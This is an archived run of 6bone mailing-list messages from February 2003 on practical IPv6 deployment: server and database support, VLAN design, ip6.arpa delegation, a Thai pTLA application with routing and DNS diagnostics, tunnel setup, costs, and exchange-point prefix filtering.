>  
>     Can somebody let us know any experience with a Database
> application (MySql or Oracle) and multihomed web server (IIS or
> Apache) ready in IPv6?

Apache works great with IPv6, (only the router is multihomed) load
balanced / clustered. I use it at home at at work. Performance is
overall the same.

MySQL / Oracle, couldn't tell you, I only use postgresql (I use a 6 to 4
daemon, didn't look into ipv6 support for it) and I don't touch db's at
work.

IIS is not a good webserver, it's performance are mediocre and it is
very unsecure. Make sure you patch your MS servers as soon as a patch
get out.

 
> I'll appreciate your information.
We all do. What is this for, do you work for a company that is looking
forward to move to IPv6 ?

-- 
--------------------------
| Jean-Francois Laforest |
-------------------------------------------------------------------------------
| http://www.mcgill.ca/ece/research | McGill Computer Engineering Departement |
| http://www.ipv6peer.net/          | IPv6 Peer	+01-514-524-8120              |
| fuzzball@ipv6peer.net             | BOFH: What was your usename ? :)        |
-------------------------------------------------------------------------------


From nicolas.deffayet@ndsoftware.net Sun Feb 23 12:30:24 2003
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On Sun, 2003-02-23 at 20:35, Jean-Francois Laforest wrote:

> MySQL / Oracle, couldn't tell you, I only use postgresql (I use a 6 to 4
> daemon, didn't look into ipv6 support for it) and I don't touch db's at
> work.

PostgreSQL have a IPv6 patch:
ftp://213.91.4.28/pub/software/unix/patch/postgresql/

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From Q@ping.be Sun Feb 23 12:33:48 2003
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On Sun, Feb 23, 2003 at 02:35:53PM -0500, Jean-Francois Laforest wrote:
> On Sun, 2003-02-23 at 13:36, Robson Oliveira wrote:
> 
> MySQL / Oracle, couldn't tell you, I only use postgresql (I use a 6 to 4
> daemon, didn't look into ipv6 support for it) and I don't touch db's at
> work.

There exists a patch for postgresql, and it's in the current cvs
version.


Kurt


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On Sun, Feb 23, 2003 at 09:33:44PM +0100, Kurt Roeckx wrote:
> On Sun, Feb 23, 2003 at 02:35:53PM -0500, Jean-Francois Laforest wrote:
> > On Sun, 2003-02-23 at 13:36, Robson Oliveira wrote:
> > 
> > MySQL / Oracle, couldn't tell you, I only use postgresql (I use a 6 to 4
> > daemon, didn't look into ipv6 support for it) and I don't touch db's at
> > work.
> 
> There exists a patch for postgresql, and it's in the current cvs
> version.

Is that merely to allow it to have IPv6 ACLs and sustain connections or
is the inet type also modified to know about IPv6 as well?

Thanks,
Anand

-- 
 `` We are shaped by our thoughts, we become what we think.
 When the mind is pure, joy follows like a shadow that never
 leaves. '' -- Buddha, The Dhammapada

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On Mon, Feb 24, 2003 at 11:06:18AM +1100, Anand Kumria wrote:
> On Sun, Feb 23, 2003 at 09:33:44PM +0100, Kurt Roeckx wrote:
> > On Sun, Feb 23, 2003 at 02:35:53PM -0500, Jean-Francois Laforest wrote:
> > > On Sun, 2003-02-23 at 13:36, Robson Oliveira wrote:
> > > 
> > > MySQL / Oracle, couldn't tell you, I only use postgresql (I use a 6 to 4
> > > daemon, didn't look into ipv6 support for it) and I don't touch db's at
> > > work.
> > 
> > There exists a patch for postgresql, and it's in the current cvs
> > version.
> 
> Is that merely to allow it to have IPv6 ACLs and sustain connections or
> is the inet type also modified to know about IPv6 as well?

Currently it only allows ipv6 connection.

The plan is either to have inet type support ipv6 too, or have an
inet6 type in the 7.4 release.  See the discussions on the
pgsql-hackers archive.


Kurt


From mohacsi@evil.ki.iif.hu Mon Feb 24 00:13:08 2003
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On Thu, 20 Feb 2003, BEGIN, Thomas wrote:

> Hello to all, I am wondering on IPv6 impacts over a company network's
> architecture. I mean, a big IPv4 network has to be divided in several
> VLANs in order to lighten the available bandwidth (sometimes for
> security reasons but it is not my interest in this case). And this
> because broadcast messages are received and examined by all network
> adapter.  Thus comes my question: As there is no more broadcast messages
> but only multicast messages in IPv6, is there still a need to divide a
> big network in smaller networks (VLANs) ?

I think it is still a good practice to divide a network into a smaller
VLANs for several reasons:
	- different requirements for different part of the network
	- different security
	- efficient handling IPv6 multicast does not supported by the
	switches - most switches handle by pure broadcast.
Regards,
	Janos Mohacsi
	6NET project

>
> Thanks
>
> Thomas BEGIN
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From pim@ipng.nl Mon Feb 24 05:32:47 2003
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Date: Mon, 24 Feb 2003 14:30:38 +0100
From: Pim van Pelt <pim@ipng.nl>
To: Andrei Robachevsky <andrei@ripe.net>
Cc: Robert Kiessling <Robert.Kiessling@de.easynet.net>,
   Bill Manning <bmanning@ISI.EDU>, pekkas@netcore.fi, gert@space.net,
   pim@ipng.nl, 6bone@ISI.EDU
Subject: Re: [6bone] ip6.arpa ...
Message-ID: <20030224133037.GA26672@bfib.colo.bit.nl>
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Andrei, Bill,

| >| The delegation for e.f.f.3.ip6.arpa is made by IANA to one of the
| >| RIRs. Zone information for this space is produced by copying the
| >| existing delegations in the e.f.f.3.ip6.int zone. Additional check is
| >| done to ensure that the servers corresponding to the NS RR are also
| >| authoritative in .arpa space. Zone information is updated whenever
| >| changes are detected in the e.f.f.3.ip6.int zone.
| >
| 
| Our goal here is to reduce lameness in the zone. If people feel that the 
| goal of making data in both zones identical overweights, lameness check 
| can be removed.

Bill wrote a 'thank you' when I pointed out that we might be
deliberately creating a different tree in ip6.arpa by eliminating the
lame delegations to those that do not (yet) have a set of servers for
their delegation in the ip6.arpa tree. Naturally, as Andrei states here,
if the community does not wish to see this check, RIPE must not do it
and the net result would be an exact copy of the zone, but then with
ip6.arpa in stead of ip6.int in the RRs.

Nevertheless, I am in favor of the check in the parent tree (even also 
in the ip6.int tree!), because many deployments in the 6BONE are not
resolving properly. I'm interrested in other people's opinion on this
particular issue (lameness check in ip6.arpa tree).
 
| The RIRs have the prototype running. We are happy to start working with 
| Bill regarding the zone transfers. This should not take long as I see no 
| real technical issues here.
I would be happy with this also. I see no problems (at all!) in proceding 
to implement RIPE NCC's proposal.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From pim@ipng.nl Mon Feb 24 05:35:11 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Kurt Roeckx <Q@ping.be>
Cc: Anand Kumria <wildfire@progsoc.uts.edu.au>,
   Jean-Francois Laforest <fuzzball@ipv6peer.net>,
   Robson Oliveira <robson_oliverra@hotmail.com>,
   6bone ML <6bone@mailman.isi.edu>
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| > Is that merely to allow it to have IPv6 ACLs and sustain connections or
| > is the inet type also modified to know about IPv6 as well?
| 
| Currently it only allows ipv6 connection.
This is cool :-)

| The plan is either to have inet type support ipv6 too, or have an
| inet6 type in the 7.4 release.  See the discussions on the
| pgsql-hackers archive.
It should not have one type that understands two families, but rather
two types (inet and inet6). And this should have been implemented ages
ago when people started to use the inet type :)

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

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--0-12476970-1046099912=:63764
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Hi There,

Iv'e been trying to setup a webserver using windows 2003 beta version. Im not sure how to create website using IPv6 address. has anyone tired on that. if u have any interesting answer please share with us and lets get the knowledge from ur experience.

Thank you

--thalha--



---------------------------------
Do you Yahoo!?
Yahoo! Tax Center - forms, calculators, tips, and more
--0-12476970-1046099912=:63764
Content-Type: text/html; charset=us-ascii

<P>Hi There,</P>
<P>Iv'e been trying to setup a webserver using windows 2003 beta version. Im not sure how to create website using IPv6 address. has anyone tired on that. if u have any interesting answer please share with us and lets get the knowledge from ur experience.</P>
<P>Thank you</P>
<P>--thalha--</P><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/finance/mailtagline/*http://taxes.yahoo.com/">Yahoo! Tax Center</a> - forms, calculators, tips, and more
--0-12476970-1046099912=:63764--

From bob@thefinks.com Mon Feb 24 09:27:57 2003
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From: Bob Fink <bob@thefinks.com>
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Subject: [6bone] pTLA request by NECTEC-TH - review closes 10 March 2003
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6bone Folk,

NECTEC-TH has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 22 
January 2003. Please send your comments to me or the list.

<<http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.<http://www.ipv6.nectec.or.th>th>


Thanks,

Bob

===
>From: "NECTEC-IPv6" <ipv6@nectec.or.th>
>To: <bob@thefinks.com>
>Subject: pTLA request
>Date: Fri, 21 Feb 2003 09:33:40 +0700
>
>Dear Mr. Bob Fink,
>
>This letter is being written on behalf of
>   Thailand's IPv6 Testbed Project ,
>   Thai Social/Sciencetific Academic and Research Network ,
>   National Electronics and Computer Technology Center of Thailand
>
>to request pTLA allocation. Being qualified with RFC2772, please
>find details below :
>
>===============================================
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>=>      Our testbed's connected to 6bone and launched since 9 August 2002.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>=> 
><http://whois.6bone.net/cgi-bin/whois?NECTEC-TH>http://whois.6bone.net/cgi-bin/whois?NECTEC-TH
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>=> BGP4+ peering with regional and domestic 6bone's backbone
>sites : INET-TH, CERNET-CN, NBEN-TW, MIMOS-MY
>
> >sh bgp ipv6 sum
>Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down
>State/PfxRcd
>3FFE:3200:1:1A::1
>                 4  4538   12902   27646    19481    0    0 1d08h          16
>3FFE:3600:2000:888::3640:7
>                 4  9681   29337   26177    19481    0    0 1d07h         236
>3FFE:400B:400B::8
>                 4  4618   21510   23789    19481    0    0 1w0d          415
>3FFE:80D0:FFFC:10::42
>                 4  2042   39314   17080    19481    0    0 1d19h         287
>
>=> Router, ep.ipv6.nectec.or.th, IPv6 pingable.
>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:400b::9
>16 bytes from 3ffe:400b:400b::9, icmp_seq=0 hlim=58 time=783.453 ms
>16 bytes from 3ffe:400b:400b::9, icmp_seq=1 hlim=58 time=817.015 ms
>16 bytes from 3ffe:400b:400b::9, icmp_seq=2 hlim=58 time=1435.44 ms
>16 bytes from 3ffe:400b:400b::9, icmp_seq=3 hlim=58 time=838.53 ms
>16 bytes from 3ffe:400b:400b::9, icmp_seq=4 hlim=58 time=1074.85 ms
>
>--- ep.ipv6.nectec.or.th ping6 statistics ---
>5 packets transmitted, 5 packets received, 0% packet loss
>round-trip min/avg/max/std-dev = 783.453/989.858/1435.441/245.416 ms
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>=> The current DNS server is  leo.ipv6.nectec.or.th maintaining both forward
>and reverse entries for ep.ipv6.nectec.or.th (router) and 
><http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
>
>$ORIGIN ipv6.nectec.or.th.
>@                       1D IN SOA       leo root.leo (
>                                         2002101001      ; serial
>                                         8H              ; refresh
>                                         2H              ; retry
>                                         1W              ; expiry
>                                         1D )            ; minimum
>
>                         1D IN NS        leo
>
>ep                      1D IN AAAA      3ffe:400b:400b::9
>                         1D IN A         203.185.132.158
>www                     1D IN CNAME     leo
>leo                     1D IN AAAA      3ffe:400b:6003::9
>                         1D IN A         203.185.132.132
>
>=> Reverse DNS Delegation :
>$ dig -t any 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
>
>; <<>> DiG 8.3 <<>> -t 3.0.0.6.b.0.0.4.e.f.f.3.ip6.int @rns1.v6.inet.co.th
>; (1 server found)
>;; res options: init recurs defnam dnsrch
>;; got answer:
>;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
>;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
>;; QUERY SECTION:
>;;      3.0.0.6.b.0.0.4.e.f.f.3.ip6.int, type = ANY, class = IN
>
>;; AUTHORITY SECTION:
>3.0.0.6.b.0.0.4.e.f.f.3.ip6.int.  12H IN NS  leo.ipv6.nectec.or.th.
>
>;; ADDITIONAL SECTION:
>leo.ipv6.nectec.or.th.  4h32m34s IN A   203.185.132.132
>
>;; Total query time: 51 msec
>;; FROM: leo.ipv6.nectec.or.th to SERVER: rns1.v6.inet.co.th  203.150.14.111
>;; WHEN: Fri Jan 31 11:26:55 2003
>;; MSG SIZE  sent: 49  rcvd: 100
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>=> <http://www.ipv6.nectec.or.th>http://www.ipv6.nectec.or.th --v4/v6 
>accessible
>
>=> The result of ping6 <http://www.ipv6.nectec.or.th>www.ipv6.nectec.or.th
>PING6(56=40+8+8 bytes) 3ffe:8140:101:7::1 --> 3ffe:400b:6003::9
>16 bytes from 3ffe:400b:6003::9, icmp_seq=0 hlim=57 time=679.311 ms
>16 bytes from 3ffe:400b:6003::9, icmp_seq=1 hlim=57 time=1159.21 ms
>16 bytes from 3ffe:400b:6003::9, icmp_seq=2 hlim=57 time=655.809 ms
>16 bytes from 3ffe:400b:6003::9, icmp_seq=3 hlim=57 time=876.863 ms
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>=> TB6-6BONE,
>      CC8-6BONE,
>      PT4-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>=> <mailto:ipv6@nectec.or.th>ipv6@nectec.or.th
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>=> The Thailand's IPv6 Testbed project was formally established in October
>2001, under the management of Thai Social/Science Academic and Research
>  Network (ThaiSARN-3) project 
> (<http://www.thaisarn.net.th>http://www.thaisarn.net.th),
>  National Electronics and Computer Technology Center
>(<http://www.nectec.or.th>http://www.nectec.or.th).
>With a mission to promote the next generation Internet in the country,
>this project is proposed in order to establish national IPv6 gateway and
>provide IPv6 testing services to support research and experimentally
>operational activities towards development of IPv6-related technologies
>and IPv6-ready networks for all Thai public.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>=> We commit to abide by present and future operational rules and policies
>      of 6Bone backbone and user community.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>===================
>
>Thank you
>Thailand's IPv6 Testbed


From akarnik@cs.ucf.edu Mon Feb 24 11:42:06 2003
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Date: Mon, 24 Feb 2003 14:40:57 -0500 (EST)
From: Abhishek Karnik <akarnik@cs.ucf.edu>
To: 6bone@mailman.isi.edu
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Subject: [6bone] Setting up a machine for IPv6 ?
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hi all,
I have a router which I have configured for IPv6 and intend to set up a
tunnel from the router elsewhere. This tunnel is mainly to connect to our
internal subnet . I require to set up IPv6 on the machines on this
internal subnet. Could someone please guide me on what kind of a set up
will be required . I am pretty new at this . I plan on using SuSe Linux as
of now . Would there be a preffered OS (FreeBSD or OpeBSD etc...) Also
where can I find documentation on how to set up this machine for IPv6.
Thanking you,
Abhishek


From jeroen@unfix.org Mon Feb 24 13:11:05 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Abhishek Karnik'" <akarnik@cs.ucf.edu>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] Setting up a machine for IPv6 ?
Date: Mon, 24 Feb 2003 22:11:26 +0100
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Abhishek Karnik wrote:

> hi all,
> I have a router which I have configured for IPv6 and intend 
> to set up a
> tunnel from the router elsewhere. This tunnel is mainly to 
> connect to our
> internal subnet . I require to set up IPv6 on the machines on this
> internal subnet. Could someone please guide me on what kind 
> of a set up
> will be required . I am pretty new at this . I plan on using 
> SuSe Linux as
> of now .

* How do I configure my machine to setup the IPv6 in IPv4 tunnel to the
SixXS POP?
 http://www.sixxs.net/faq/?faq=ossetup

* How do I give connectivity to other hosts on my subnet? 
 http://www.sixxs.net/faq/?faq=usingsubnet

Note that both of these ofcourse apply to any tunnelbroker system.
You prolly also want to read Peter's excelent Linux+IPv6 HOWTO
which can be found at: http://tldp.org/HOWTO/Linux+IPv6-HOWTO/
and ofcourse is also linked in those faq's.

> Would there be a preffered OS (FreeBSD or OpeBSD etc...) Also
> where can I find documentation on how to set up this machine for IPv6.

OS choices all depends on 'taste' mostly, I tend to pick the best OS
for that specific circumenstence. One good thing about variation is that
one can learn about it, which is also one of the goals of the 6bone ;)
*BSD, Solaris etc is also documented on the above URL's.

Greets,
 Jeroen


From kim@tac.nyc.ny.us Mon Feb 24 14:29:57 2003
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To: Abhishek Karnik <akarnik@cs.ucf.edu>
Cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Setting up a machine for IPv6 ?
In-Reply-To: <Pine.SOL.4.05.10302241432420.22460-100000@eola.cs.ucf.edu>
 from Abhishek Karnik on Mon, 24 Feb 2003 14:40:57 -0500
References: <Pine.SOL.4.05.10302241432420.22460-100000@eola.cs.ucf.edu>
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The NetBSD Documentation includes a pretty thorough IPv6 FAQ:

    http://www.netbsd.org/Documentation/network/ipv6/

Regards,
+ Kim


| From:    Abhishek Karnik <akarnik@cs.ucf.edu>
| Date:    Mon, 24 Feb 2003 14:40:57 -0500
|
|
| hi all,
| I have a router which I have configured for IPv6 and intend to set up a
| tunnel from the router elsewhere. This tunnel is mainly to connect to our
| internal subnet . I require to set up IPv6 on the machines on this
| internal subnet. Could someone please guide me on what kind of a set up
| will be required . I am pretty new at this . I plan on using SuSe Linux as
| of now . Would there be a preffered OS (FreeBSD or OpeBSD etc...) Also
| where can I find documentation on how to set up this machine for IPv6.
| Thanking you,
| Abhishek
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From robson.oliveira@ipv6dobrasil.com.br Mon Feb 24 15:00:03 2003
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To: "6bone" <6bone@mailman.isi.edu>
Date: Mon, 24 Feb 2003 20:00:34 -0300
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Subject: [6bone] IPv6 world costs
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Hi all,

Are there any place where I can find involved IPv6 cost? $$$ estimate costs?

Is very important to make companies trust those IPv6 trend. Show IPv6 in
numbers $.

Cheers,
Robson Oliveira


From cfaber@fpsn.net Mon Feb 24 15:45:03 2003
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Subject: Re: [6bone] IPv6 world costs
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I'm also very interested in such numbers. Might I suggest to companies
currently deploying IPv6 on their networks to factor in administrative
costs along with hardware, software, and bandwidth.

Thanks.


Robson Oliveira wrote:
> 
> Hi all,
> 
> Are there any place where I can find involved IPv6 cost? $$$ estimate costs?
> 
> Is very important to make companies trust those IPv6 trend. Show IPv6 in
> numbers $.
> 
> Cheers,
> Robson Oliveira
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.
* Black holes are where God divided by zero. *

-> SPAM TRAP ADDRESS - DO NOT EMAIL <-
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From pim@ipng.nl Mon Feb 24 23:52:47 2003
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From: Pim van Pelt <pim@ipng.nl>
To: Colin Faber <cfaber@fpsn.net>
Cc: Robson Oliveira <robson.oliveira@ipv6dobrasil.com.br>,
   6bone <6bone@mailman.isi.edu>
Subject: Re: [6bone] IPv6 world costs
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On Mon, Feb 24, 2003 at 04:44:52PM -0700, Colin Faber wrote:
| I'm also very interested in such numbers. Might I suggest to companies
| currently deploying IPv6 on their networks to factor in administrative
| costs along with hardware, software, and bandwidth.
The costs for my (medium-sized) ISP were negligable. We have decided to
roll out our latest generation network with Juniper boxes, which are
technically sound and financially not much more of a burdon.

IPv6 is still being deployed in overtime around here. Many engineers
spend their spare time running it, so factoring in costs are extremely
difficult.

Some of us at BIT write software .. and most of them are somewhat IPv6
aware in terms of getaddrinfo and protocol independent implementations.

I can't give an estimate at all what we spent 'on IPv6', but can tell
you that it has been a high-weight decisionmaking tool since
approximately March 2002. This means: if it does not do decent IPv6,
and some competitor does, we no longer buy it.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From johann@broadpark.no Tue Feb 25 03:19:37 2003
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From: "Janine C.Buorditez" <johann@broadpark.no>
To: 6bone@mailman.isi.edu
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Hello.

Is there any document describing a basic setup of an IPv6 tunnel on FreeBSD,
both through commands, rc.conf and possibly other scripts?

It's been a long time since I attempted setting up IPv6, and my tunnel is still
active. I'd like to do something with it.

Thanks.

From jeroen@unfix.org Tue Feb 25 05:56:40 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes  17Jan0
Date: Tue, 25 Feb 2003 14:57:42 +0100
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Bob Fink wrote the 17th of January 2003:

> 6bone Folk,
> 
> The two weeks has gone by on the notice of intent to reclaim 
> unused pTLAs. I have received replies from several sites (list below)
and I 
> believe we should let them keep their pTLAs as they are actively
trying to do 
> something with them.

<SNIP>

> The remainder I will try to contact once more, individually, 
> noting in the 
> pTLA list that this process is ongoing, but their pTLA will not be 
> reclaimed at this time.
> 
> 
>   3ffe:e00::/24       IFB/GB
> 
>   3ffe:1900::/24      6COM/US-CA
> 
>   3ffe:1a00::/24      CAIRN/US
> 
>   3ffe:1b00::/24      UL/PT
> 
>   3ffe:2300::/24      INFN-CNAF/IT
> 
>   3ffe:2700::/24      ERA/SE
> 
>   3ffe:8180::/28      TIAI/US

> If you have better info on the lists above, please let me know.
> 
> Stay tuned :-)

Of the above list TIAI/US and ERA/SE where already returned.
Are there any updates about the ones left over?

UL/PT is active again since the 19th of February 2003,
at least it's seen in the BGP tables (*) again.

Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 (LDCOM/FR) are
still not available, any information about those?

Greets,
 Jeroen

* = http://www.sixxs.net/tools/grh/tla/all/?prefix=3ffe:1b00::/24


From daniel@kewlio.net Tue Feb 25 06:28:04 2003
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Subject: [6bone] RIPE Exchange Points
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Hello,

Does anyone allow the RIPE exchange point blocks in their filters?

RIPE allocate all exchange points from their 2001:7f8::/32 block with a /48 to each exchange point as follows:

2001:7f8::/48 is DECIX, DE
2001:7f8:1::/48 is AMS-IX, NL
2001:7f8:2::/48 is UK6X, UK
2001:7f8:3::/48 is Xchangepoint, UK
2001:7f8:4::/48 is LINX, UK
2001:7f8:5::/48 is LIPEX exchange, UK
2001:7f8:6::/48 is BGIX, BG
2001:7f8:7::/48 is FICIX, FI
2001:7f8:8::/48 is BLNX, DE
2001:7f8:9::/48 is MANAP, UK
2001:7f8:a::/48 is GIGAPIX, PT
2001:7f8:b::/48 is MIX, IT
2001:7f8:c::/48 is CHTIX, CH
2001:7f8:d::/48 is NODIX, SE
2001:7f8:e::/48 is NDIX, NL
2001:7f8:f::/48 is ESPANIX, ES
2001:7f8:10::/48 is NAMEX6, IT
2001:7f8:11::/48 is LIX, LU
2001:7f8:12::/48 is NIX1/NIX2, NO
2001:7f8:13::/48 is NLSIX, NL
2001:7f8:14::/48 is NIX, CZ
2001:7f8:15::/48 is TIX, EE

I've just started a transit feed to LIPEX (2001:7f8:5::/48), but getting people to accept the prefix seems difficult!
I just wondered how many people's filters would accept this prefix?


With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>


From nicolas.deffayet@ndsoftware.net Tue Feb 25 07:00:45 2003
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Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes 
	17Jan0
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Bob Fink'" <bob@thefinks.com>, "'6BONE List'" <6bone@mailman.isi.edu>
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On Tue, 2003-02-25 at 14:57, Jeroen Massar wrote:
> Bob Fink wrote the 17th of January 2003:

> Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 (LDCOM/FR) are
> still not available, any information about those?

We work with LDCOM, they will announce their pTLA very soon.


-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware NOC: http://noc.ndsoftwarenet.com/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From gert@Space.Net Tue Feb 25 07:18:07 2003
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From: Gert Doering <gert@space.net>
To: Daniel Austin <daniel@kewlio.net>
Cc: 6bone@mailman.isi.edu, ipv6@kewlio.net
Subject: Re: [6bone] RIPE Exchange Points
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Hi,

On Tue, Feb 25, 2003 at 02:27:51PM -0000, Daniel Austin wrote:
> Does anyone allow the RIPE exchange point blocks in their filters?

The RIPE policy explicitely discourages announcing and routing those
networks.  It should be used for the peering mesh, and not for anything
else.

If you need globally routed address space for additional service, the
current recommendation is "use upstream space from one of your members
who will provide transit".

[..]
> I've just started a transit feed to LIPEX (2001:7f8:5::/48), but getting people to accept the prefix seems difficult!
> I just wondered how many people's filters would accept this prefix?

Right now, our filters will accept this, but it is to be expected
that global visibilty for those prefixes might not work.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57147 (56285)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From daniel@kewlio.net Tue Feb 25 07:20:08 2003
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From: "Daniel Austin" <daniel@kewlio.net>
To: "Gert Doering" <gert@Space.Net>
Cc: <6bone@mailman.isi.edu>, <ipv6@kewlio.net>
References: <019d01c2dcda$1505d440$6ea0fea9@DanLaptop> <20030225161804.N15927@Space.Net>
Subject: Re: [6bone] RIPE Exchange Points
Date: Tue, 25 Feb 2003 15:19:57 -0000
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Thanks Gert,

I've been pointed to the correct RIPE docs now also.



With Thanks,

Daniel Austin,
Managing Director,
Kewlio.net Limited.
<daniel@kewlio.net>


----- Original Message ----- 
From: "Gert Doering" <gert@Space.Net>
To: "Daniel Austin" <daniel@kewlio.net>
Cc: <6bone@mailman.isi.edu>; <ipv6@kewlio.net>
Sent: Tuesday, February 25, 2003 3:18 PM
Subject: Re: [6bone] RIPE Exchange Points


> Hi,
> 
> On Tue, Feb 25, 2003 at 02:27:51PM -0000, Daniel Austin wrote:
> > Does anyone allow the RIPE exchange point blocks in their filters?
> 
> The RIPE policy explicitely discourages announcing and routing those
> networks.  It should be used for the peering mesh, and not for anything
> else.
> 
> If you need globally routed address space for additional service, the
> current recommendation is "use upstream space from one of your members
> who will provide transit".
> 
> [..]
> > I've just started a transit feed to LIPEX (2001:7f8:5::/48), but getting people to accept the prefix seems difficult!
> > I just wondered how many people's filters would accept this prefix?
> 
> Right now, our filters will accept this, but it is to be expected
> that global visibilty for those prefixes might not work.
> 
> Gert Doering
>         -- NetMaster
> -- 
> Total number of prefixes smaller than registry allocations:  57147 (56285)
> 
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
> 
> 

From bob@thefinks.com Tue Feb 25 07:58:50 2003
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Date: Tue, 25 Feb 2003 07:58:37 -0800
To: "Jeroen Massar" <jeroen@unfix.org>, "'6BONE List'" <6bone@mailman.isi.edu>
From: Bob Fink <bob@thefinks.com>
Subject: RE: [6bone] notice of intent to reclaim unused pTLAs, closes 
  17Jan0
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Jeroen,

At 02:57 PM 2/25/2003 +0100, Jeroen Massar wrote:
>Bob Fink wrote the 17th of January 2003:
>
> > 6bone Folk,
> >
> > The two weeks has gone by on the notice of intent to reclaim
> > unused pTLAs. I have received replies from several sites (list below)
>and I
> > believe we should let them keep their pTLAs as they are actively
>trying to do
> > something with them.
>
><SNIP>
>
> > The remainder I will try to contact once more, individually,
> > noting in the
> > pTLA list that this process is ongoing, but their pTLA will not be
> > reclaimed at this time.
> >
> >
> >   3ffe:e00::/24       IFB/GB
> >
> >   3ffe:1900::/24      6COM/US-CA
> >
> >   3ffe:1a00::/24      CAIRN/US
> >
> >   3ffe:1b00::/24      UL/PT
> >
> >   3ffe:2300::/24      INFN-CNAF/IT
> >
> >   3ffe:2700::/24      ERA/SE
> >
> >   3ffe:8180::/28      TIAI/US
>
> > If you have better info on the lists above, please let me know.
> >
> > Stay tuned :-)
>
>Of the above list TIAI/US and ERA/SE where already returned.
>Are there any updates about the ones left over?
>
>UL/PT is active again since the 19th of February 2003,
>at least it's seen in the BGP tables (*) again.
>
>Also 3ffe:d00::/24 (ANSNET/US-DC) and 3ffe:82e0::/28 (LDCOM/FR) are
>still not available, any information about those?

I have been plodding along on these, slowly asking for their return in a 
more detailed way from individual contacts.

